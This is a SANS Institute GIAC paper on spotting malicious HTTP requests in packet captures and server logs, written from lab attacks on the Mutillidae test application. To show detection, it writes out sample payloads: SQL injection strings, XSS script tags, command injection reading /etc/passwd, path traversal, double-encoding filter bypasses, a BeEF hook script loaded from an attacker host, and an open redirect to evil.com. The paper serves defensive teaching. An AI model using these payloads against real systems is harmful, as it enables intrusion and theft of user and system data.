SANS Institute

Information Security Reading Room

How to identify malicious

HTTP Requests
______________________________
Niklas Sarokaari

Copyright SANS Institute 2019. Author Retains Full Rights.

This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express
written permission.
 How to identify malicious HTTP Requests
GIAC (GWAPT) Gold Certification

s.
t
Author: Niklas Särökaari, niklas@silverskin.fi

gh
Advisor: Dominicus Adriyanto Hindarto

i
lr
ul
f
Accepted: 13 November 2012

ns
ai
et
Abstract
Being a system administrator or a penetration tester, it is important to know how

rr
malicious requests are being conducted and how this kind of traffic can be identified.
When the web application is being exploited or already defaced by a hacker, it is
ho
important to find the malicious requests from server logs and identify what kind of attack
was used to identify the vulnerabilities in the web application.
t
There are guides on different subjects when it comes to penetration testing and securing
Au

the application. Problem is that usually these guides concentrate only a specific attack
vector. This paper will provide in-depth analysis on different attack vectors against web
e,

applications and demonstrate how these attacks can be found and identified from logs and
on each other.
t
iut
t
ns
I
NS
SA
12
20
©

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

1 Introduction
Hypertext transfer protocol (HTTP) is a stateless protocol and it uses a message-based

s.
model. Basically, a client sends a request message and the server returns a response

t
gh
message. RFC 2616 defines numerous different headers for both request and response

i
messages, which will be discussed later on this paper. When attacking a web application

lr
the payload is sent in the request message. There are different possibilities to do this;

ul
using dangerous HTTP methods, modifying the request parameters or sending other

f
malicious traffic (Fielding et al., 1999).

ns
HTTP methods are functions that a web server provides to process a request. GET

ai
is most commonly used to retrieve a resource from a web server. It will send the

et
parameters directly in the URL query string. POST method is used to perform actions and

rr
allows the data to be sent also in the body of the message. Both of these methods are
interesting for an attacker when it comes to injecting malicious content (Stuttard & Pinto,
ho
2011). According to RFC 2616, there are also other methods for HTTP 1.1, which will be
t
Au
described more in-depth later on this paper when discussing about dangerous HTTP
methods.
e,

Injecting the request parameters and headers with arbitrary input is not the only
ut

way to attack the web application. There are also different methods, such as mapping and
t
i

discovery. The mapping phase consists of several components, such as port scanning, OS
t
ns

fingerprinting and spidering. There are two ways to map the application: active and
I

passive. Active tools are more aggressive and effective but generate traffic and are easier
to detect. Passive tools instead are almost impossible to detect, but require the ability for
NS

an attacker to sniff the target’s traffic.

SA

Discovery is the phase that explicitly sends ”malicious” traffic to target system. It
should be also noted that some aggressive mapping (e.g. port scanning) is considered
12

malicious. The idea is to find any area of input and run a web application vulnerability
scanner, which will send the first wave of harmful data. When vulnerabilities have been
20

found from the application and all the necessary information is gained it is time to expand
the foothold. The last method is called exploitation and concentrates solely on sending
©

malicious traffic (SANS, 2010).

As the application is being targeted or has been defaced, it is up to the audit logs
to contain any valuable information about the intrusion attempts. Effective audit logs
should provide for the system administrator an understanding on what has taken place

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
3
and what kind of damage the attacker might have caused, if any. Still, one of the most
important information that should be logged is the intruder’s identity.
There are some guidelines on what key events should be logged, when it comes to

s.
identifying malicious HTTP requests; all events relating to the authentication

t
functionality, access attempts that are blocked by the access control mechanisms and any

gh
requests that have known attack strings. With effective audit logs it can be possible to

i
identify exactly what type of attack has taken in place (Stuttard & Pinto, 2011).

lr
ul
This paper will concentrate heavily on the discovery and exploitation phases by
explaining the different attack vectors and a demonstration of their usage. Also the

f
targeted application’s audit logs will provide a wealth of information and they are studied

ns
to identify the attacks from each other and their possible nuances.

ai
et
rr
2 The Testing Environment
The environment is built on a VMWare host-only private network. A subnet
ho
172.16.40.0/24 has been assigned for the private network and IP address 172.16.40.132 is
t
Au
reserved for the target machine, which hosts mutillidae; a free, open source web
application that contains OWASP Top 10 vulnerabilities. An IP address 172.16.40.131 is
e,

reserved for the penetration tester’s virtual machine, which will be the latest Samurai
ut

Web Testing Framework 0.9.9 version with updated versions of the tools.
t
i

For the target machine, a Ubuntu 11.10 LTS version will be used with XAMPP
t
ns

1.8.0 for MySQL and Apache services. Mutillidae will be used as a target when sending
I

malicious HTTP requests from the SamuraiWTF virtual machine. To analyze packets and
capturing the malicious traffic tcpdump and wireshark will be installed. Also apache
NS

access logs are analyzed to identify any malicious activity. The results are being cross-
SA
12
20
©

referenced by checking the checksum values from the outputs.

Figure 1. The testing environment

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

3 Overview of HTTP messages

RFC 2616 defines that the Hypertext Transfer Protocol (HTTP) is an application-level
protocol that was first used to retrieve only static-based resources and as Internet has

s.
evolved the HTTP has been extended to support complex distributed applications.

t
(Fielding et al., 1999)

gh
HTTP is a stateless protocol, but it can be used for many other tasks beyond its use

i
lr
for hypertext. Basically a client sends a request message to the server and then it returns a

ul
response message back to the client. Each of these transactions are autonomous and may

f
use a different TCP connection. (Stuttard & Pinto, 2011)

ns
Basic knowledge about the HTTP messages is needed when exploiting web

ai
applications. When sending malicious requests to the application, most commonly

et
headers like the method, user agent and cookie are fiddled. There are also a huge variety

rr
of input-based vulnerabilities. These attacks involve submitting arbitrary input either to
the URL parameters or into the HTTP payload. For example, SQL injection and Cross-
ho
site scripting fall into this category (Stuttard & Pinto, 2011).
t
As shown in Figure 2, the web client will send a request for a specific resource, in
Au

this case the host is 172.16.40.132. The GET method is used to request a web page and it
e,

also passes any parameters in the URL field. Also the user-agent field is sent for
ut

identifying the client, which will be discussed later in depth and any cookies that has
t

been set (SANS, 2010).

i
t

Figure 2. HTTP Request message.

ns
I

In Figure 3, the server responds with the status code and message. The server also sends a
date header and optionally other headers like server and in this case a logged-in-user
NS

which may disclose sensitive information regarding the server, installed modules and the
SA

end user (SANS, 2010).

Figure 3. HTTP Response message
12

3.1 HTTP methods

20

RFC 2616 defines eight different methods for HTTP 1.1. These methods are GET, POST,
HEAD, PUT, DELETE, TRACE, OPTIONS and CONNECT. It should be noted that not
©

all methods are implemented by every server. For servers to be compliant with HTTP 1.1
they must implement at least the GET and HEAD methods for its resources. There really
is not any ”safe” methods as most of these methods can be used when targeting a web
application (Museong Kim, 2012). All of these methods will be revised in this section.

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
5
The GET and POST are used to request a web page and are the two most common
being used in HTTP. HEAD works exactly like GET, but the server returns only the
headers in the response. The downside of GET is that it passes any parameters via the

s.
URL and is easy to manipulate. It is recommended to use POST for requests because the

t
parameters are sent in the HTTP payload. This way it is harder to tamper with the

gh
parameters, but with method interchange this makes it a trivial effort (SANS, 2010).

i
The OPTIONS method asks the server which methods are supported in the web

lr
ul
server. This provides a means for an attacker to determine which methods can be used for
attacks. The TRACE method allows client to see how its request looks when it finally

f
makes it to the server. Attacker can use this information to see any if any changes is made

ns
to the request by firewalls, proxies, gateways, or other applications (Gourley, Totty et al.,

ai
2002).

et
The following methods, PUT and DELETE are the most dangerous ones as they

rr
can cause a significant security risk to the application (Museong Kim, 2012). The PUT
ho
method can be used to upload any kind of malicious data to the server. The DELETE
t
method on the other hand is used to remove any resources from the web server. This form
Au

of attack can be used to delete configuration files.

Lastly, the CONNECT method can be used to create an HTTP tunnel for requests.
e,

If the attacker knows the resource, he can use this method to connect through a proxy and
ut

gain access to unrestricted resources (SANS, 2010).

t
i
t

3.1.1 Identifying dangerous use of HTTP methods

ns
I

In this section the OPTIONS method is being used to identify a malicious action against
the web server. The incoming traffic is being analyzed to see if the HTTP methods can be
NS

identified from each other. As seen in Figure 4 the result shows that the OPTIONS
SA

method has been used and this can be marked as a malicious action against the web
server.
12

Figure 4. Apache log markup for OPTIONS method

20

When looking at the wireshark and tcpdump output we can see that the OPTIONS
method has its unique hexadecimal value that can be used to blacklist any dangerous use
©

of HTTP methods. In addition to the hexadecimal value, when looking at the offset
position we can see that the method is located at the 0x0040.

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

s.
t
Figure 5. wireshark output for OPTIONS method and its hexadecimal value

gh
Figure 6. tcpdump output for OPTIONS method and its hexadecimal value

i
lr
Figure 7. tcpdump output for POST method and its hexadecimal value

ul
f
ns
ai
et
rr
Figure 8. wireshark otuput for POST method and its hexadecimal value

As shown in Table 1, by checking all the HTTP methods, it is possible to separate each
ho
methods unique hexadecimal value.
t
Au

Method Hexadecimal value

e,

GET 47 45 54
POST 50 4f 53 54
ut

HEAD 48 45 41 44
t

TRACE 54 52 41 43 45
i
t

OPTIONS 4f 50 54 49 4f 4e 53
ns

PUT 50 55 54
I

DELETE 44 45 4c 45 54 45
CONNECT 43 4f 4e 4e 45 43 54
NS

Table 1: HTTP 1.1 Methods hexadecimal values

SA

3.2 User-Agent
12

RFC 2616 defines the web client as a ”user-agent”. When the client is requesting a web
20

page, it is sending information about itself in a header named ”User-Agent”. This

information typically identifies the browser, host operating system and language (Fielding
©

et al., 1999).
Even though the user-agent is set correctly by default, it can be spoofed by the
user. This makes it possible for example an attacker to retrieve web content designed for
other browser types or even for other devices (SANS, 2010). Also many different
applications sends information within the user-agent header thus identifying for example

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
7
malicious intentions. As the header information is completely controlled by the user, it
makes it trivial for an attacker to fiddle with the information.
Figure 9. Example of a User-Agent header

s.
t
Mozilla/5.0 signifies that the browser is compliant with the standards set by Netscape.

gh
Next is showed what kind of operating system the browser is running, which in this case

i
lr
ul
f
ns
ai
et
is a Ubuntu 9.04 32-bit. Last string tells what version of Firefox is the client using.

rr
In Figure 10 we can see a tampered User-Agent header. This is just a basic way to
ho
spoof it. For example nmap offers a script to remove the string from the header. SQLmap
t
has a option before starting an attack where the user-agent can be hidden. There’s also a
Au

complete list of user agent strings offered by User Agent String.com1

e,

Figure 10. wireshark output for User-Agent header tampering

3.3 Cookies
tut

Cookies are a key part of the HTTP protocol. Cookies enables the web server to send data
i
t

to the client, which the client stores and resubmits to the server. Unlike the other request
ns

parameters, cookies are sent continuously in each subsequent request back to the server
I

(Stuttard & Pinto, 2011).

NS

Cookies are also used to transmit a lot of sensitive data in web applications,
mostly they are used to identify the user and remember the session state. The client
SA

cannot modify the cookie values directly, but with an interception proxy tool, it makes it
12

a trivial effort.
20
©

1 http://www.useragentstring.com/pages/useragentstring.php

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

s.
t
igh
The following example shows how modifying the cookie information it gives the attacker

lr
access as someone else. In Figure 11, the attacker provides admin credentials in the login

ul
form.

f
Figure 11. wireshark output for attacker supplying admin credentials

ns
ai
Figure 12. shows that the login was successful and the cookie header and what values the

et
admin user has in the site. For the admin user a uid value of 1 has been selected to

rr
identify the user and a
ho
t
Au
e,
t
iut
t

PHPSESSID to
ns

remember the
I

session state.
NS

Figure 12.
Wireshark
SA

output of
cookie information
12
20
©

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
9

s.
t
igh
lr
ul
f
ns
Now, the attacker changes the uid value to 2 and also the PHPSESSID to ”evil”. This way

ai
the attacker can see if he can get an access to the application as someone else and proof

et
that the application is vulnerable to session state attacks.

rr
Figure 13. Wireshark output of session state attack
ho
As Figure 14 shows, the application is indeed vulnerable and does not perform any
t
Au
checks and trusts the client completely. The attacker managed to get access to the
application by another admin user, named adrian.
e,
t
iut
t
ns
I
NS
SA

Figure 14. Successful session state attack

12

4 Bruteforce
20

Many web applications employ a login functionality, which presents a good opportunity
for an attacker to exploit the login mechanism. The basic idea is that an attacker tries to
©

guess usernames and passwords and thus gain unauthorized access to the application
(Stuttard & Pinto, 2011). Mostly brute-force attacks are done by using an automated tool
with custom wordlists.

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

In Figure 15. we can see what parameters are passed to the login.php, username and
password. The following credentials
will be

s.
used to

t
igh
lr
create

ul
a brute-force attack with Burp Suite Intruder.

f
1.1 admin - password

ns
1.2 admin - root

ai
1.3 admin - admin

et
1.4 admin - qwerty

rr
Figure 15. the brute-force exploit base request
ho
t
Au

4.1 Identifying Bruteforce

e,
ut

We can see from the wireshark and tcpdump2 results that five POST requests was made in
t

under 0.5 seconds to the login.php. This shows that some sort of automated tool has been
i
t
ns
I
NS
SA

used to make repeated login attempts against the application.

Figure 16. wireshark results for brute-force attack
12

Also Burp Suite seems to change the port incrementally with each POST request as seen
20

in the tcpdump output.

Figure 17. tcpdump results for brute-force attack
©

5 Spidering
When targeting an application it is important to know the structure of the application.
This can be done through manual browsing or using an automated tool. Manual browsing
2

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
11
can be very time consuming; it is necessary to walk through the application starting from
the main initial page, following every link, and navigating through all functions, like
registration and login. Some applications may have also a site map, which can help to

s.
enumerate the content (Stuttard & Pinto, 2011).

t
gh
5.1 Identifying Spidering

i
lr
For comprehensive results about the application it is almost necessary to use an

ul
automated, more advanced technique. Downside for this technique is that it is more

f
rigorous and identifiable. Some applications just requests many web pages in a short

ns
period of time.

ai
et
rr
ho
t
Au
e,
t
iut
t
ns

As seen in the wireshark and tcpdump outputs and apache access log records,
there’s over 10 different requests made under 1 second from the same address. This
I

would be impossible to do with manual browsing. Also when using an automated tool the
NS

source port is changing incrementally.

SA

Figure 18. wireshark output for spidering

12

Other point of interest we can see especially from the tcpdump output is that every
request originates from a different port. Also we can see that the port numbers are
20

growing incrementally and they are not in any random order. The apache access log also
©

shows a lot of requests that have received a ”404 Not Found” response. The automated
tool seems to use some sort of wordlist to request most common directories from the web
site.
Figure 19. Apache access log output for spidering

Figure 20. tcpdump output for spidering

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

6 Injection flaws
Most web applications consists of several different components; such as application
server, web server and backend data store. All these components work together to

s.
produce a dynamic web application for the end user, also referred to as a web client.

t
Most common are SQL injection, command injection and cross site scripting. In

gh
this type of flaws the attacker is able to inject content that the application uses. Basically

i
lr
the application is trusting the client and accepts its content without filtering or these filters

ul
can be bypassed (SANS, 2010). The injection flaws will be revised and examined in the

f
following sections.

ns
6.1 SQL Injection

ai
et
SQL injection vulnerabilities allows an attacker to control what query is run by the

rr
application. To successfully exploit a SQL injection vulnerability the attacker needs to
have an understanding of SQL and database structures. It is possible for an attacker to
ho
create users, modify transactions, change records or even port scan the internal network
t
and much more. Basically the possibilities are limitless.
Au

For discovering SQL injection flaws any data related input that appears to be used
e,

in database interaction is the attack surface. One of the easiest way is just to introduce a
ut

common SQL delimiter, such as the single quote ’. If the application breaks or produces a
t

error message or page then it is most likely vulnerable to SQL injection.

i
t

In SQL injection attack the input is passed directly to query. The traditional
ns

example is ’ OR 1=1 --, and the query becomes in the database select user from users
I

where login=” or 1=1 --’. It should be noted that any true value works as well as it is not
NS

necessary to use only numeric values (SANS, 2010).

SA

6.1.1 Identifying SQL Injection

12

The following input anything’ OR ’x’=’x is passed to exploit a SQL injection

20

vulnerability in the mutillidae login form.

©

As the request was first captured with an interception proxy tool and then malicious input
was introduced to mutillidae, we can see that it has not decoded the characters. In Figure
21 we can see the username and password parameters that SQL injection exploit has been
used.

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
13

s.
t
Figure 21. SQL injection attack.
Figure 22. tcpdump output of SQL injection attack.

igh
There is not any other anomalies within the request. Only malicious data that has been

lr
sent to the target is within the POST body data. The result is that mutillidae does not

ul
provide any kind of input validation and the attacker can craft all kind of arbitrary input

f
to the application as seen in the next sections.

ns
We can see that the attack was successful since the attacker was redirected straight

ai
to index.php instead of login.php, also the cookie information shows that the attacker

et
gained unauthorized access as an admin user.

rr
More SQL injection attack patterns are described in the appendix to help identify
ho
other kind of attacks, like numeral SQL injection and data modification. The attacks
t
described provides only a small amount of possibilities that can be used to exploit this
Au

vulnerability.
e,
t
iut
t
ns
I
NS
SA
12

Figure 23. successful SQL injection attack.

20

6.2 Cross Site Scripting

©

Cross Site Scripting (XSS) is also referred to as ”script injection”. It means that an
attacker has the ability to inject malicious scripts into to the application and have a
browser run it. There are two types of XSS; stored and reflective.
XSS vulnerabilities can be exploited multiple ways. Most typical attacks are for
example reading cookies or redirecting a user into malicious site. Also modifying the

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

content on a page, which gives an opportunity for the attacker to run any kind of custom
code within the JavaScript language.
Discovering XSS vulnerabilities can be quite simple, using only a browser and

s.
injecting JavaScript into various input fields in the application. The simplest method is to

t
just input the following code <script>alert(xss)</script> into any input field and see if the

gh
application will run the code (SANS, 2010).

i
lr
6.2.1 Identifying XSS

ul
The XSS vulnerability will be exploited in the add-to-your-blog.php section. The

f
following code will be injected through TamperData to demonstrate this vulnerability

ns
ai
et
rr
ho
t
Au
e,
t
iut

<script>alert(‘hello’);</script>
t
ns

Figure 24. Successful XSS attack

I
NS
SA
12
20
©

When looking at the wireshark result from the XSS exploit we can see the same thing as
already seen in the SQL injection section. Mutillidae does not provide any kind of
encoding or filtering and in this case the exploit is easily recognized. All malicious data is
within the POST body.
Figure 25. XSS wireshark output

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
15
Figure 26. XSS tcpdump output

It is also possible that when performing a XSS attack the script tags will get decoded

s.
from ascii to hexadecimal format. If this is the case there are already software available,

t
such as Suricata and Snort that are able to detect and transcode these characters (Deuble

gh
Ashley, 2012). There is also a good cheat sheet for different kinds of XSS attacks, offered

i
by ha.ckers.org.3

lr
ul
More XSS attack patterns are described in the appendix to help identify other kind

f
of possibilites to bypass possible data validation. It should be noted that it consists only

ns
from small amount of different attack patterns.

ai
et
6.3 Command Injection

rr
Command injection is not as common in web applications as SQL injection. Unlike SQL
injection where the attackers’ goal is to retrieve information from the backend database.
ho
In command injection the attacker inputs operating system commands through the web
t
Au
application. This type of attack can be very powerful if the application is vulnerable and
especially then if the commands can be run with root privileges (SANS, 2010).
e,
ut

6.3.1 Identifying Command Injection

t
i
t

Figure 27. shows a basic and successful command injection attack where the target’s
ns

server password file is being requested. The following code was injected into the input
I

field:
NS

172.16.40.132 & cat /etc/passwd

SA
12
20
©

3 http://ha.ckers.org/xss.html

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

s.
t
igh
lr
ul
f
ns
ai
Figure 27. Successful Command Injection attack

et
rr
The wireshark output shows that the slash marks have been decoded from ascii to
hexadecimal format producing the following output:
ho 172.16.40.132+cat+%2Fetc%2Fpasswd
t
Au
e,
t
iut
t
ns
I

Figure 28. Command Injection wireshark output

NS

The tcpdump output shows the same result as already seen with SQL injection and XSS,
SA

that all malicious content with injection flaws can be identified within the POST body
data. If the request would have been made with a GET request then the arbitrary input
12

would be located in the URL and apache access logs could also be used to verify the
results.
20

Figure 29. Command Injection tcpdump output

©

More command injection attack patterns are described in the appendix to help identify
other kind of patterns that are commonly used to exploit this kind of vulnerability.

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
17

7 Path Traversal
Path traversal vulnerabilities can be found when the application allows user-controllable
data to interact with the filesystem. This allows the attacker to create arbitrary input and if

s.
the input is not properly sanitized the attacker can retrieve sensitive information from the

t
server (Stuttard & Pinto, 2011).

igh
7.1 Identifying Path Traversal

lr
ul
The path traversal vulnerability will be exploited in the mutillidae text-file-viewer.php

f
functionality. The attack is used to go up in the directories and retrieve the server’s user

ns
file. The attacker will request a file from the filesystem and inject the following value

ai
into the textfile parameter:
../../../../../../etc/passwd

et
rr
In Figure 30 we can see that the attack was successful and the attacker was able to
ho
retrieve the user file from the server. There are number of other techniques to exploit this
t
vulnerability. For example the Penetration Testing Lab blog offers a good cheat sheet for
Au
e,
t
iut
t
ns
I
NS
SA
12

this attack.4
20

Figure 30. Successful path traversal attack

©

Looking at the wireshark result from the path traversal exploit we can see that the
mutillidae does not provide any kind of filtering or sanitation to the user-supplied input
and by this the application is vulnerable and easy to identify.

4 http://pentestlab.wordpress.com/category/general-lab-notes/page/4/

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

s.
t
Figure 31. Path traversal wireshark output

igh
lr
If the applications input filter does not accept the regular path traversal sequences, it is

ul
also possible to URL-encode the slashes and dots. As we already saw from the command

f
injection where the application has URL encoded the characters, it is still vulnerable and

ns
the attacker successfully exploited the application.

ai
Figure 32. Path traversal tcpdump output

et
rr
8 Double Encoding
ho
If the application implements security checks for user input and rejects malicious code
t
injection, it is still possible to bypass the filters with techniques like single and double
Au

encoding. There are common character sets that are used in web application attacks; path
e,

traversal uses the “../” and XSS uses the “<“ , “/” and “>” characters (OWASP, 2009).
ut

There are some common characters that are used in different injection attacks. As
already seen in the command injection attack some of the characters were represented
t
i
t

with the % symbol. When it is encoded again, its representation in hexadecimal code is
ns

%25. Table 2 illustrates the possibilities for hexadecimal encoding and double encoding.
I
NS

Single encoding
. %2E
SA

/ %2F
\ %5C
12

< %3C
> %3E
20

Double encoding
. %252E
/ %252F
©

\ %255C
< %253C
> %253E
Table 2: Encoded character set sequences

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
19
If the application refuses attacks like <script>alert(1)</script>, with double-encoding the
security check might be possible to bypass. The wireshark and tcpdump output shows an
example string of what to look for in a malicious double encoded injection attack.

s.
t
igh
lr
ul
f
Figure 33. wireshark output of double encoding attack

ns
Figure 34. tcpdump output of double encoding attack

ai
et
The table above shows the specific characters that should be checked in single or double

rr
encode attacks. As these are the most common character sets that are used to attack the
ho
application it is possible to reduce the risk of being exploited.
t
Au

9 BeEF
e,

The Browser Exploitation Framework is a penetration testing tool that focuses on the web
ut

browser. BeEF allows the attacker to focus on the payloads instead of how to get the
t
i

attack to the client.The attacker can hook one or more web browsers and use them as
t
ns

targets to launch different exploits against them. BeEF allows for example port scanning,
I

JavaScript injection, different browser exploits, clipboard stealing et cetera (SANS,

2010).
NS
SA
12
20
©

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

9.1 Identifying BeEF

s.
t
igh
lr
ul
f
ns
ai
In the following example the mutillidae machine will be hooked with BeEF. The attacker

et
injected the following code <script

rr
src=”http://172.16.40.133/beef/hook/beefmagic.js.php”></script> in add-to-your-
blog.php section. When the user views the blog entries on the mutillidae site, its browser
ho
will become a zombie and the attacker has complete control over it, see Figure 35.
t
Figure 35. Successful BeEF attack
Au
e,

In Figure 36 we can see what kind of traffic has resulted from the point where the victim
ut

became a zombie and was exploited.

t
i
t
ns
I
NS
SA
12
20
©

Figure 36. BeEF wireshark output

It shows us that when the victim is hooked, its browser sends a GET request to the BeEF
controller every five seconds. The number 8 packet shows the exploitation itself. Every

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
21
BeEF attack has its own variable, called result_id, which changes every time an attack is
conducted. After successful attack the zombie sends a return.php instead of command.php
to the BeEF controller. After this it starts again to maintain the connection to the

s.
controller. Also the BeEF controller sets its own cookie to the client, called BeEFSession.

t
gh
10 Unvalidated Redirects and Forwards

i
lr
In an unvalidated redirect attack the application allows redirecting or forwarding its users

ul
to a third-party site or another site within the application. In this case the attacker links to

f
unvalidated redirect and tricks the applications victims into clicking it. Since the forged

ns
URL looks like a valid site the victim is more likely to click it and sent into a malicious

ai
site (OWASP, 2010).

et
10.1 Identifying Unvalidated Redirects and Forwards

rr
In the following example Mutillidae offers a list of sites for its users to visit. When
ho
clicking a site in the list it takes a single parameter named forwardurl. In this case the
t
attacker crafts a malicious URL that redirects users to a malicious site that can perform,
Au

for example phishing or installing malware.

e,

Figures 37 and 38 shows us that the attacker has crafted a malicious URL and
t
iut
t
ns
I
NS
SA

links its victims into www.evil.com. Mutillidae does not perform any validation for the
12

input and any kind of destination can be used. For example, the attacker could redirect its
victim into a site that has a BeEF hook already placed and hook the victim and take
20

control over its browser.

©

Figure 37. wireshark output for unvalidated redirect attack

Figure 38. Apache access log output for unvalidated redirect attack
Figure 39. tcpdump output for unvalidated redirect attack

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

11 Cross Site Request Forgery

Cross-Site Request Forgery (CSRF) is similar to XSS. The difference is that it does not
require to inject malicious scripts into the web application. Instead an attacker can create

s.
a malicious web site, which holds a malicious script that will do actions behalf the

t
targeted user. For CSRF attack to work it needs a targeted user with an active session and

gh
predictable transaction parameters. The attacker creates the script to the web site and if

i
lr
the targeted user opens the page while logged into the application, then the script will

ul
execute with his privileges and arbitrary actions will be carried out (SANS, 2010).

f
11.1 Identifying CSRF

ns
ai
CSRF vulnerabilities are harder to detect than XSS. It follows a four step process by first
reviewing the application logic and finding functions that perform sensitive actions and

et
have predictable parameters. If these are found in the application then the next step is to

rr
create a page with the request and have a victim to access this page while logged in to the
ho
t
Au
e,
t
iut
t
ns
I
NS

application (SANS, 2010).

SA

In the following example the attacker has created a CSRF attack against the users in
Mutillidae. Figure 40 shows that the attacker has injected the following script into the
12

application.
20

Figure 40. Wireshark output of CSRF-attack

©

It creates a blog post with a string ”Cross-site request forgery”. The onmouseover
variable is for when the victim moves the pointer top of the CSRF blog post it creates a
new post without the victim knowing about it. Only thing the victim’s browser will do is
refresh the page.
Other interesting values are also stored in the hidden form fields. We can see that
a csrf-token parameter is given with a value ”106424”. This is for blocking this kind of

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
23
attack. The value of the form field is changed into ”best-guess”, to see if the server
processes the request.
When the victim browses into the blog section and moves its mouse over to the

s.
”Cross-site request forgery” post a new post was made and no other checks were made to

t
the csrf-token.

igh
Figure 41.

lr
ul
Successful
CSRF-attack

f
ns
In this case there

ai
was a way to

et
block the

rr
possible CSRF vulnerabilities, but it was not efficient enough since no validation for the
ho
token value was not made. Using hidden form fields makes the application trust the client
t
completely, which should be never done.
Au
e,

12 Conclusions
ut

The most common web application security weaknesses are usually the failure to validate
t
i

user input, implement proper access control and authentication mechanisms. It is

t
ns

important to understand that if an attacker is able to exploit possible vulnerabilities in

I

these security controls it is possible for the attacker to retrieve sensitive information from
the application or gain unauthorized access to the application. As seen in the examples it
NS

was possible to retrieve user and group information from the server, bypass login and
SA

even compromise all the other users in the application by exploiting a cross-site scripting
vulnerability. Implementing effective security controls for a web application mitigates the
12

risk being exploited and protects the confidentiality of its users.

The results show that malicious activity can be identified and even blocked.
20

Possible security control mechanisms could be IP address blocking and if possible, limit
©

the amount of requests made to the application in a specific time interval. Also rule based
data validation can be made to prevent injection flaws. As the attack patterns show, the
attacks can be identified from each other by analysing log files and network traffic
monitor information.
